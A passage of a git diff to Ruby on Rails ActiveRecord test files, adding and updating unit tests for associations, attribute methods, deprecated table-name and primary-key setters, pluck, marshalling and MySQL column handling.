+ assert_equal david.essays, Essay.find_all_by_writer_id("David")
+ end
+
+ def test_blank_custom_primary_key_on_new_record_should_not_run_queries
+ author = Author.new
+ assert !author.essays.loaded?
+
+ assert_queries 0 do
+ assert_equal 0, author.essays.size
+ end
+ end
def test_calling_first_or_last_with_find_options_on_loaded_association_should_fetch_with_query
firm = companies(:first_firm)
@@ -1568,4 +1628,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal car.id, bulb.attributes_after_initialize['car_id']
end
+
+ def test_replace
+ car = Car.create(:name => 'honda')
+ bulb1 = car.bulbs.create
+ bulb2 = Bulb.create
+
+ assert_equal [bulb1], car.bulbs
+ car.bulbs.replace([bulb2])
+ assert_equal [bulb2], car.bulbs
+ assert_equal [bulb2], car.reload.bulbs
+ end
end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index 0b1ba31ac2..7a6aba6a6b 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -67,6 +67,31 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_associate_existing_record_twice_should_add_records_twice
+ post = posts(:thinking)
+ person = people(:david)
+
+ assert_difference 'post.people.count', 2 do
+ post.people << person
+ post.people << person
+ end
+ end
+
+ def test_add_two_instance_and_then_deleting
+ post = posts(:thinking)
+ person = people(:david)
+
+ post.people << person
+ post.people << person
+
+ counts = ['post.people.count', 'post.people.to_a.count', 'post.readers.count', 'post.readers.to_a.count']
+ assert_difference counts, -2 do
+ post.people.delete(person)
+ end
+
+ assert !post.people.reload.include?(person)
+ end
+
def test_associating_new
assert_queries(1) { posts(:thinking) }
new_person = nil # so block binding catches it
@@ -813,4 +838,21 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert !c.save
end
end
+
+ def test_preloading_empty_through_association_via_joins
+ person = Person.create!(:first_name => "Gaga")
+ person = Person.where(:id => person.id).where('readers.id = 1 or 1=1').includes(:posts).to_a.first
+
+ assert person.posts.loaded?, 'person.posts should be loaded'
+ assert_equal [], person.posts
+ end
+
+ def test_explicitly_joining_join_table
+ assert_equal owners(:blackbeard).toys, owners(:blackbeard).toys.with_pet
+ end
+
+ def test_has_many_through_with_polymorphic_source
+ post = tags(:general).tagged_posts.create! :title => "foo", :body => "bar"
+ assert_equal [tags(:general)], post.reload.tags
+ end
end
diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb
index 4ce8b85098..995afef796 100644
--- a/activerecord/test/cases/associations/join_model_test.rb
+++ b/activerecord/test/cases/associations/join_model_test.rb
@@ -733,7 +733,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
class_name = "PostWith#{association.to_s.classify}#{dependency.to_s.classify}"
Post.find(post_id).update_column :type, class_name
klass = Object.const_set(class_name, Class.new(ActiveRecord::Base))
- klass.set_table_name 'posts'
+ klass.table_name = 'posts'
klass.send(association, association_name, :as => :taggable, :dependent => dependency)
klass.find(post_id)
end
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
index dd450a2a8e..530f5212a2 100644
--- a/activerecord/test/cases/associations/nested_through_associations_test.rb
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
@@ -247,7 +247,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload_via_joins
assert_includes_and_joins_equal(
- Category.where('comments.id' => comments(:more_greetings).id).order('comments.id'),
+ Category.where('comments.id' => comments(:more_greetings).id).order('categories.id'),
[categories(:general), categories(:technology)], :post_comments
)
end
@@ -356,6 +356,17 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
assert_equal categories(:general), members(:groucho).club_category
end
+ def test_joins_and_includes_from_through_models_not_included_in_association
+ prev_default_scope = Club.default_scopes
+
+ [:includes, :preload, :joins, :eager_load].each do |q|
+ Club.default_scopes = [Club.send(q, :category)]
+ assert_equal categories(:general), members(:groucho).reload.club_category
+ end
+ ensure
+ Club.default_scopes = prev_default_scope
+ end
+
def test_has_one_through_has_one_through_with_belongs_to_source_reflection_preload
members = assert_queries(4) { Member.includes(:club_category).to_a.sort_by(&:id) }
general = categories(:general)
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
index ffe2993e0f..efe71d1771 100644
--- a/activerecord/test/cases/associations_test.rb
+++ b/activerecord/test/cases/associations_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require 'models/computer'
require 'models/developer'
require 'models/project'
require 'models/company'
@@ -273,3 +274,18 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
)
end
end
+
+class GeneratedMethodsTest < ActiveRecord::TestCase
+ fixtures :developers, :computers, :posts, :comments
+ def test_association_methods_override_attribute_methods_of_same_name
+ assert_equal(developers(:david), computers(:workstation).developer)
+ # this next line will fail if the attribute methods module is generated lazily
+ # after the association methods module is generated
+ assert_equal(developers(:david), computers(:workstation).developer)
+ assert_equal(developers(:david).id, computers(:workstation)[:developer])
+ end
+
+ def test_model_method_overrides_association_method
+ assert_equal(comments(:greetings).body, posts(:welcome).first_comment)
+ end
+end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
index 3641031d12..e03ed33591 100644
--- a/activerecord/test/cases/attribute_methods/read_test.rb
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -35,6 +35,7 @@ module ActiveRecord
end
def self.serialized_attributes; {}; end
+ def self.base_class; self; end
end
end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index b0896fb236..17cf1ec907 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -35,6 +35,30 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert !t.attribute_present?("content")
end
+ def test_attribute_present_with_booleans
+ b1 = Boolean.new
+ b1.value = false
+ assert b1.attribute_present?(:value)
+
+ b2 = Boolean.new
+ b2.value = true
+ assert b2.attribute_present?(:value)
+
+ b3 = Boolean.new
+ assert !b3.attribute_present?(:value)
+
+ b4 = Boolean.new
+ b4.value = false
+ b4.save!
+ assert Boolean.find(b4.id).attribute_present?(:value)
+ end
+
+ def test_caching_nil_primary_key
+ klass = Class.new(Minimalistic)
+ klass.expects(:reset_primary_key).returns(nil).once
+ 2.times { klass.primary_key }
+ end
+
def test_attribute_keys_on_new_instance
t = Topic.new
assert_equal nil, t.title, "The topics table has a title column, so it should be nil"
@@ -113,6 +137,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
# by inspecting it.
def test_allocated_object_can_be_inspected
topic = Topic.allocate
+ topic.instance_eval { @attributes = nil }
assert_nothing_raised { topic.inspect }
assert topic.inspect, "#<Topic not initialized>"
end
@@ -430,30 +455,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert topic.is_test?
end
- def test_kernel_methods_not_implemented_in_activerecord
- %w(test name display y).each do |method|
- assert !ActiveRecord::Base.instance_method_already_implemented?(method), "##{method} is defined"
- end
- end
-
- def test_defined_kernel_methods_implemented_in_model
- %w(test name display y).each do |method|
- klass = Class.new ActiveRecord::Base
- klass.class_eval "def #{method}() 'defined #{method}' end"
- assert klass.instance_method_already_implemented?(method), "##{method} is not defined"
- end
- end
-
- def test_defined_kernel_methods_implemented_in_model_abstract_subclass
- %w(test name display y).each do |method|
- abstract = Class.new ActiveRecord::Base
- abstract.class_eval "def #{method}() 'defined #{method}' end"
- abstract.abstract_class = true
- klass = Class.new abstract
- assert klass.instance_method_already_implemented?(method), "##{method} is not defined"
- end
- end
-
def test_raises_dangerous_attribute_error_when_defining_activerecord_method_in_model
%w(save create_or_update).each do |method|
klass = Class.new ActiveRecord::Base
@@ -607,7 +608,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
topic = @target.new(:title => "The pros and cons of programming naked.")
assert !topic.respond_to?(:title)
exception = assert_raise(NoMethodError) { topic.title }
- assert_match %r(^Attempt to call private method), exception.message
+ assert exception.message.include?("private method")
assert_equal "I'm private", topic.send(:title)
end
@@ -617,7 +618,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
topic = @target.new
assert !topic.respond_to?(:title=)
exception = assert_raise(NoMethodError) { topic.title = "Pants"}
- assert_match %r(^Attempt to call private method), exception.message
+ assert exception.message.include?("private method")
topic.send(:title=, "Very large pants")
end
@@ -627,7 +628,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
topic = @target.new(:title => "Isaac Newton's pants")
assert !topic.respond_to?(:title?)
exception = assert_raise(NoMethodError) { topic.title? }
- assert_match %r(^Attempt to call private method), exception.message
+ assert exception.message.include?("private method")
assert topic.send(:title?)
end
@@ -658,19 +659,46 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_equal %w(preferences), Contact.serialized_attributes.keys
end
+ def test_instance_method_should_be_defined_on_the_base_class
+ subklass = Class.new(Topic)
+
+ Topic.define_attribute_methods
+
+ instance = subklass.new
+ instance.id = 5
+ assert_equal 5, instance.id
+ assert subklass.method_defined?(:id), "subklass is missing id method"
+
+ Topic.undefine_attribute_methods
+
+ assert_equal 5, instance.id
+ assert subklass.method_defined?(:id), "subklass is missing id method"
+ end
+
+ def test_dispatching_column_attributes_through_method_missing_deprecated
+ Topic.define_attribute_methods
+
+ topic = Topic.new(:id => 5)
+ topic.id = 5
+
+ topic.method(:id).owner.send(:undef_method, :id)
+
+ assert_deprecated do
+ assert_equal 5, topic.id
+ end
+ ensure
+ Topic.undefine_attribute_methods
+ end
+
private
def cached_columns
- @cached_columns ||= (time_related_columns_on_topic + serialized_columns_on_topic).map(&:name)
+ @cached_columns ||= time_related_columns_on_topic.map(&:name)
end
def time_related_columns_on_topic
Topic.columns.select { |c| c.type.in?([:time, :date, :datetime, :timestamp]) }
end
- def serialized_columns_on_topic
- Topic.columns.select { |c| Topic.serialized_attributes.include?(c.name) }
- end
-
def in_time_zone(zone)
old_zone = Time.zone
old_tz = ActiveRecord::Base.time_zone_aware_attributes
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
index 4ad2cdfc7e..4c3f2bda57 100644
--- a/activerecord/test/cases/autosave_association_test.rb
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -347,6 +347,17 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test
client.save!
assert_no_queries { assert_equal apple, client.firm }
end
+
+ def test_validation_does_not_validate_stale_association_target
+ valid_developer = Developer.create!(:name => "Dude", :salary => 50_000)
+ invalid_developer = Developer.new()
+
+ auditlog = AuditLog.new(:message => "foo")
+ auditlog.developer = invalid_developer
+ auditlog.developer_id = valid_developer.id
+
+ assert auditlog.valid?
+ end
end
class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index 12101c1683..b1a429c869 100644
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -22,8 +22,10 @@ require 'models/person'
require 'models/edge'
require 'models/joke'
require 'models/bulb'
+require 'models/bird'
require 'rexml/document'
require 'active_support/core_ext/exception'
+require 'bcrypt'
class Category < ActiveRecord::Base; end
class Categorization < ActiveRecord::Base; end
@@ -67,6 +69,38 @@ end
class BasicsTest < ActiveRecord::TestCase
fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
+ def test_generated_methods_modules
+ modules = Computer.ancestors
+ assert modules.include?(Computer::GeneratedFeatureMethods)
+ assert_equal(Computer::GeneratedFeatureMethods, Computer.generated_feature_methods)
+ assert(modules.index(Computer.generated_attribute_methods) > modules.index(Computer.generated_feature_methods),
+ "generated_attribute_methods must be higher in inheritance hierarchy than generated_feature_methods")
+ assert_not_equal Computer.generated_feature_methods, Post.generated_feature_methods
+ end
+
+ def test_column_names_are_escaped
+ conn = ActiveRecord::Base.connection
+ classname = conn.class.name[/[^:]*$/]
+ badchar = {
+ 'SQLite3Adapter' => '"',
+ 'MysqlAdapter' => '`',
+ 'Mysql2Adapter' => '`',
+ 'PostgreSQLAdapter' => '"',
+ 'OracleAdapter' => '"',
+ }.fetch(classname) {
+ raise "need a bad char for #{classname}"
+ }
+
+ quoted = conn.quote_column_name "foo#{badchar}bar"
+ if current_adapter?(:OracleAdapter)
+ # Oracle does not allow double quotes in table and column names at all
+ # therefore quoting removes them
+ assert_equal("#{badchar}foobar#{badchar}", quoted)
+ else
+ assert_equal("#{badchar}foo#{badchar * 2}bar#{badchar}", quoted)
+ end
+ end
+
def test_columns_should_obey_set_primary_key
pk = Subscriber.columns.find { |x| x.name == 'nick' }
assert pk.primary, 'nick should be primary key'
@@ -144,25 +178,6 @@ class BasicsTest < ActiveRecord::TestCase
end
end
- def test_use_table_engine_for_quoting_where
- relation = Topic.where(Topic.arel_table[:id].eq(1))
- engine = relation.table.engine
-
- fakepool = Class.new(Struct.new(:spec)) {
- def with_connection; yield self; end
- def connection_pool; self; end
- def table_exists?(name); false; end
- def quote_table_name(*args); raise "lol quote_table_name"; end
- }
-
- relation.table.engine = fakepool.new(engine.connection_pool.spec)
-
- error = assert_raises(RuntimeError) { relation.to_a }
- assert_match('lol', error.message)
- ensure
- relation.table.engine = engine
- end
-
def test_preserving_time_objects
assert_kind_of(
Time, Topic.find(1).bonus_time,
@@ -273,6 +288,29 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal(true, cb.frickinawesome)
end
+ def test_first_or_create
+ parrot = Bird.first_or_create(:color => 'green', :name => 'parrot')
+ assert parrot.persisted?
+ the_same_parrot = Bird.first_or_create(:color => 'yellow', :name => 'macaw')
+ assert_equal parrot, the_same_parrot
+ end
+
+ def test_first_or_create_bang
+ assert_raises(ActiveRecord::RecordInvalid) { Bird.first_or_create! }
+ parrot = Bird.first_or_create!(:color => 'green', :name => 'parrot')
+ assert parrot.persisted?
+ the_same_parrot = Bird.first_or_create!(:color => 'yellow', :name => 'macaw')
+ assert_equal parrot, the_same_parrot
+ end
+
+ def test_first_or_initialize
+ parrot = Bird.first_or_initialize(:color => 'green', :name => 'parrot')
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert parrot.new_record?
+ assert parrot.valid?
+ end
+
def test_load
topics = Topic.find(:all, :order => 'id')
assert_equal(4, topics.size)
@@ -1372,37 +1410,23 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal dev, dev.reload
end
- def test_define_attr_method_with_value
- k = Class.new( ActiveRecord::Base )
- k.send(:define_attr_method, :table_name, "foo")
- assert_equal "foo", k.table_name
- end
-
- def test_define_attr_method_with_block
- k = Class.new( ActiveRecord::Base ) do
- class << self
- attr_accessor :foo_key
- end
- end
- k.foo_key = "id"
- k.send(:define_attr_method, :foo_key) { "sys_" + original_foo_key }
- assert_equal "sys_id", k.foo_key
- end
-
def test_set_table_name_with_value
k = Class.new( ActiveRecord::Base )
k.table_name = "foo"
assert_equal "foo", k.table_name
- k.set_table_name "bar"
+
+ assert_deprecated do
+ k.set_table_name "bar"
+ end
assert_equal "bar", k.table_name
end
def test_switching_between_table_name
assert_difference("GoodJoke.count") do
- Joke.set_table_name "cold_jokes"
+ Joke.table_name = "cold_jokes"
Joke.create
- Joke.set_table_name "funny_jokes"
+ Joke.table_name = "funny_jokes"
Joke.create
end
end
@@ -1410,50 +1434,171 @@ class BasicsTest < ActiveRecord::TestCase
def test_quoted_table_name_after_set_table_name
klass = Class.new(ActiveRecord::Base)
- klass.set_table_name "foo"
+ klass.table_name = "foo"
assert_equal "foo", klass.table_name
assert_equal klass.connection.quote_table_name("foo"), klass.quoted_table_name
- klass.set_table_name "bar"
+ klass.table_name = "bar"
assert_equal "bar", klass.table_name
assert_equal klass.connection.quote_table_name("bar"), klass.quoted_table_name
end
def test_set_table_name_with_block
k = Class.new( ActiveRecord::Base )
- k.set_table_name { "ks" }
- assert_equal "ks", k.table_name
+ assert_deprecated do
+ k.set_table_name "foo"
+ k.set_table_name do
+ ActiveSupport::Deprecation.silence { original_table_name } + "ks"
+ end
+ end
+ assert_equal "fooks", k.table_name
+ end
+
+ def test_set_table_name_with_inheritance
+ k = Class.new( ActiveRecord::Base )
+ def k.name; "Foo"; end
+ def k.table_name; super + "ks"; end
+ assert_equal "foosks", k.table_name
+ end
+
+ def test_original_table_name
+ k = Class.new(ActiveRecord::Base)
+ def k.name; "Foo"; end
+ k.table_name = "bar"
+
+ assert_deprecated do
+ assert_equal "foos", k.original_table_name
+ end
+
+ k = Class.new(ActiveRecord::Base)
+ k.table_name = "omg"
+ k.table_name = "wtf"
+
+ assert_deprecated do
+ assert_equal "omg", k.original_table_name
+ end
end
def test_set_primary_key_with_value
k = Class.new( ActiveRecord::Base )
k.primary_key = "foo"
assert_equal "foo", k.primary_key
- k.set_primary_key "bar"
+
+ assert_deprecated do
+ k.set_primary_key "bar"
+ end
assert_equal "bar", k.primary_key
end
def test_set_primary_key_with_block
k = Class.new( ActiveRecord::Base )
k.primary_key = 'id'
- k.set_primary_key { "sys_" + original_primary_key }
+
+ assert_deprecated do
+ k.set_primary_key do
+ "sys_" + ActiveSupport::Deprecation.silence { original_primary_key }
+ end
+ end
assert_equal "sys_id", k.primary_key
end
+ def test_original_primary_key
+ k = Class.new(ActiveRecord::Base)
+ def k.name; "Foo"; end
+ k.primary_key = "bar"
+
+ assert_deprecated do
+ assert_equal "id", k.original_primary_key
+ end
+
+ k = Class.new(ActiveRecord::Base)
+ k.primary_key = "omg"
+ k.primary_key = "wtf"
+
+ assert_deprecated do
+ assert_equal "omg", k.original_primary_key
+ end
+ end
+
def test_set_inheritance_column_with_value
k = Class.new( ActiveRecord::Base )
k.inheritance_column = "foo"
assert_equal "foo", k.inheritance_column
- k.set_inheritance_column "bar"
+
+ assert_deprecated do
+ k.set_inheritance_column "bar"
+ end
assert_equal "bar", k.inheritance_column
end
def test_set_inheritance_column_with_block
k = Class.new( ActiveRecord::Base )
- k.set_inheritance_column { original_inheritance_column + "_id" }
+ assert_deprecated do
+ k.set_inheritance_column do
+ ActiveSupport::Deprecation.silence { original_inheritance_column } + "_id"
+ end
+ end
assert_equal "type_id", k.inheritance_column
end
+ def test_original_inheritance_column
+ k = Class.new(ActiveRecord::Base)
+ def k.name; "Foo"; end
+ k.inheritance_column = "omg"
+
+ assert_deprecated do
+ assert_equal "type", k.original_inheritance_column
+ end
+ end
+
+ def test_set_sequence_name_with_value
+ k = Class.new( ActiveRecord::Base )
+ k.sequence_name = "foo"
+ assert_equal "foo", k.sequence_name
+
+ assert_deprecated do
+ k.set_sequence_name "bar"
+ end
+ assert_equal "bar", k.sequence_name
+ end
+
+ def test_set_sequence_name_with_block
+ k = Class.new( ActiveRecord::Base )
+ k.table_name = "projects"
+ orig_name = k.sequence_name
+ return skip "sequences not supported by db" unless orig_name
+
+ assert_deprecated do
+ k.set_sequence_name do
+ ActiveSupport::Deprecation.silence { original_sequence_name } + "_lol"
+ end
+ end
+ assert_equal orig_name + "_lol", k.sequence_name
+ end
+
+ def test_original_sequence_name
+ k = Class.new(ActiveRecord::Base)
+ k.table_name = "projects"
+ orig_name = k.sequence_name
+ return skip "sequences not supported by db" unless orig_name
+
+ k = Class.new(ActiveRecord::Base)
+ k.table_name = "projects"
+ k.sequence_name = "omg"
+
+ assert_deprecated do
+ assert_equal orig_name, k.original_sequence_name
+ end
+
+ k = Class.new(ActiveRecord::Base)
+ k.table_name = "projects"
+ k.sequence_name = "omg"
+ k.sequence_name = "wtf"
+ assert_deprecated do
+ assert_equal "omg", k.original_sequence_name
+ end
+ end
+
def test_count_with_join
res = Post.count_by_sql "SELECT COUNT(*) FROM posts LEFT JOIN comments ON posts.id=comments.post_id WHERE posts.#{QUOTED_TYPE} = 'Post'"
@@ -1627,6 +1772,10 @@ class BasicsTest < ActiveRecord::TestCase
assert !LooseDescendant.abstract_class?
end
+ def test_abstract_class_table_name
+ assert_nil AbstractCompany.table_name
+ end
+
def test_base_class
assert_equal LoosePerson, LoosePerson.base_class
assert_equal LooseDescendant, LooseDescendant.base_class
@@ -1728,6 +1877,14 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal "The First Topic", topics(:first).becomes(Reply).title
end
+ def test_becomes_includes_errors
+ company = Company.new(:name => nil)
+ assert !company.valid?
+ original_errors = company.errors
+ client = company.becomes(Client)
+ assert_equal original_errors, client.errors
+ end
+
def test_silence_sets_log_level_to_error_in_block
original_logger = ActiveRecord::Base.logger
log = StringIO.new
@@ -1826,12 +1983,45 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_marshal_round_trip
+ if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
+ return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
+ "to be a Ruby bug.")
+ end
+
expected = posts(:welcome)
- actual = Marshal.load(Marshal.dump(expected))
+ marshalled = Marshal.dump(expected)
+ actual = Marshal.load(marshalled)
assert_equal expected.attributes, actual.attributes
end
+ def test_marshal_new_record_round_trip
+ if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
+ return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
+ "to be a Ruby bug.")
+ end
+
+ marshalled = Marshal.dump(Post.new)
+ post = Marshal.load(marshalled)
+
+ assert post.new_record?, "should be a new record"
+ end
+
+ def test_marshalling_with_associations
+ if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
+ return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
+ "to be a Ruby bug.")
+ end
+
+ post = Post.new
+ post.comments.build
+
+ marshalled = Marshal.dump(post)
+ post = Marshal.load(marshalled)
+
+ assert_equal 1, post.comments.length
+ end
+
def test_attribute_names
assert_equal ["id", "type", "ruby_type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id"],
Company.attribute_names
@@ -1869,4 +2059,10 @@ class BasicsTest < ActiveRecord::TestCase
dev.update_attribute(:updated_at, nil)
assert_match(/\/#{dev.id}$/, dev.cache_key)
end
+
+ def test_uniq_delegates_to_scoped
+ scope = stub
+ Bird.stubs(:scoped).returns(mock(:uniq => scope))
+ assert_equal scope, Bird.uniq
+ end
end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
index a35baee4ed..660098b9ad 100644
--- a/activerecord/test/cases/batches_test.rb
+++ b/activerecord/test/cases/batches_test.rb
@@ -113,7 +113,27 @@ class EachTest < ActiveRecord::TestCase
batch.map! { not_a_post }
end
end
+ end
+ def test_find_in_batches_should_ignore_the_order_default_scope
+ # First post is with title scope
+ first_post = PostWithDefaultScope.first
+ posts = []
+ PostWithDefaultScope.find_in_batches do |batch|
+ posts.concat(batch)
+ end
+ # posts.first will be ordered using id only. Title order scope should not apply here
+ assert_not_equal first_post, posts.first
+ assert_equal posts(:welcome), posts.first
+ end
+
+ def test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order
+ special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort
+ posts = []
+ SpecialPostWithDefaultScope.find_in_batches do |batch|
+ posts.concat(batch)
+ end
+ assert_equal special_posts_ids, posts.map(&:id)
end
end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index 42f98b3d42..5abf3d1af4 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -1,5 +1,6 @@
require "cases/helper"
require 'models/company'
+require "models/contract"
require 'models/topic'
require 'models/edge'
require 'models/club'
@@ -171,7 +172,7 @@ class CalculationsTest < ActiveRecord::TestCase
end
def test_should_group_by_summed_field_having_condition_from_select
- c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("min_credit_limit > 50").sum(:credit_limit)
+ c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("MIN(credit_limit) > 50").sum(:credit_limit)
assert_nil c[1]
assert_equal 60, c[2]
assert_equal 53, c[9]
@@ -446,4 +447,28 @@ class CalculationsTest < ActiveRecord::TestCase
distinct_authors_for_approved_count = Topic.group(:approved).count(:author_name, :distinct => true)[true]
assert_equal distinct_authors_for_approved_count, 2
end
+
+ def test_pluck
+ assert_equal [1,2,3,4], Topic.order(:id).pluck(:id)
+ end
+
+ def test_pluck_type_cast
+ topic = topics(:first)
+ relation = Topic.where(:id => topic.id)
+ assert_equal [ topic.approved ], relation.pluck(:approved)
+ assert_equal [ topic.last_read ], relation.pluck(:last_read)
+ assert_equal [ topic.written_on ], relation.pluck(:written_on)
+
+ end
+
+ def test_pluck_and_uniq
+ assert_equal [50, 53, 55, 60], Account.order(:credit_limit).uniq.pluck(:credit_limit)
+ end
+
+ def test_pluck_in_relation
+ company = Company.first
+ contract = company.contracts.create!
+ assert_equal [contract.id], company.contracts.pluck(:id)
+ end
+
end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index 7f4d25790b..7690769226 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -1,7 +1,7 @@
require "cases/helper"
class CallbackDeveloper < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
class << self
def callback_string(callback_method)
@@ -48,7 +48,7 @@ class CallbackDeveloperWithFalseValidation < CallbackDeveloper
end
class ParentDeveloper < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
attr_accessor :after_save_called
before_validation {|record| record.after_save_called = true}
end
@@ -58,7 +58,7 @@ class ChildDeveloper < ParentDeveloper
end
class RecursiveCallbackDeveloper < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
before_save :on_before_save
after_save :on_after_save
@@ -79,7 +79,7 @@ class RecursiveCallbackDeveloper < ActiveRecord::Base
end
class ImmutableDeveloper < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
validates_inclusion_of :salary, :in => 50000..200000
@@ -98,7 +98,7 @@ class ImmutableDeveloper < ActiveRecord::Base
end
class ImmutableMethodDeveloper < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
validates_inclusion_of :salary, :in => 50000..200000
@@ -118,7 +118,7 @@ class ImmutableMethodDeveloper < ActiveRecord::Base
end
class OnCallbacksDeveloper < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
before_validation { history << :before_validation }
before_validation(:on => :create){ history << :before_validation_on_create }
@@ -138,7 +138,7 @@ class OnCallbacksDeveloper < ActiveRecord::Base
end
class CallbackCancellationDeveloper < ActiveRecord::Base
- set_table_name 'developers'
+ self.table_name = 'developers'
attr_reader :after_save_called, :after_create_called, :after_update_called, :after_destroy_called
attr_accessor :cancel_before_save, :cancel_before_create, :cancel_before_update, :cancel_before_destroy
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
index d1dddd4c2c..14884e42af 100644
--- a/activerecord/test/cases/column_definition_test.rb
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -58,68 +58,68 @@ module ActiveRecord
if current_adapter?(:MysqlAdapter)
def test_should_set_default_for_mysql_binary_data_types
- binary_column = MysqlColumn.new("title", "a", "binary(1)")
+ binary_column = MysqlAdapter::Column.new("title", "a", "binary(1)")
assert_equal "a", binary_column.default
- varbinary_column = MysqlColumn.new("title", "a", "varbinary(1)")
+ varbinary_column = MysqlAdapter::Column.new("title", "a", "varbinary(1)")
assert_equal "a", varbinary_column.default
end
def test_should_not_set_default_for_blob_and_text_data_types
assert_raise ArgumentError do
- MysqlColumn.new("title", "a", "blob")
+ MysqlAdapter::Column.new("title", "a", "blob")
end
assert_raise ArgumentError do
- MysqlColumn.new("title", "Hello", "text")
+ MysqlAdapter::Column.new("title", "Hello", "text")
end
- text_column = MysqlColumn.new("title", nil, "text")
+ text_column = MysqlAdapter::Column.new("title", nil, "text")
assert_equal nil, text_column.default
- not_null_text_column = MysqlColumn.new("title", nil, "text", false)
+ not_null_text_column = MysqlAdapter::Column.new("title", nil, "text", false)
assert_equal "", not_null_text_column.default
end
def test_has_default_should_return_false_for_blog_and_test_data_types
- blob_column = MysqlColumn.new("title", nil, "blob")
+ blob_column = MysqlAdapter::Column.new("title", nil, "blob")
assert !blob_column.has_default?
- text_column = MysqlColumn.new("title", nil, "text")
+ text_column = MysqlAdapter::Column.new("title", nil, "text")
assert !text_column.has_default?
end
end
if current_adapter?(:Mysql2Adapter)
def test_should_set_default_for_mysql_binary_data_types
- binary_column = Mysql2Column.new("title", "a", "binary(1)")
+ binary_column = Mysql2Adapter::Column.new("title", "a", "binary(1)")
assert_equal "a", binary_column.default
- varbinary_column = Mysql2Column.new("title", "a", "varbinary(1)")
+ varbinary_column = Mysql2Adapter::Column.new("title", "a", "varbinary(1)")
assert_equal "a", varbinary_column.default
end
def test_should_not_set_default_for_blob_and_text_data_types
assert_raise ArgumentError do
- Mysql2Column.new("title", "a", "blob")
+ Mysql2Adapter::Column.new("title", "a", "blob")
end
assert_raise ArgumentError do
- Mysql2Column.new("title", "Hello", "text")
+ Mysql2Adapter::Column.new("title", "Hello", "text")
end
- text_column = Mysql2Column.new("title", nil, "text")
+ text_column = Mysql2Adapter::Column.new("title", nil, "text")
assert_equal nil, text_column.default
- not_null_text_column = Mysql2Column.new("title", nil, "text", false)
+ not_null_text_column = Mysql2Adapter::Column.new("title", nil, "text", false)
assert_equal "", not_null_text_column.default
end
def test_has_default_should_return_false_for_blog_and_test_data_types
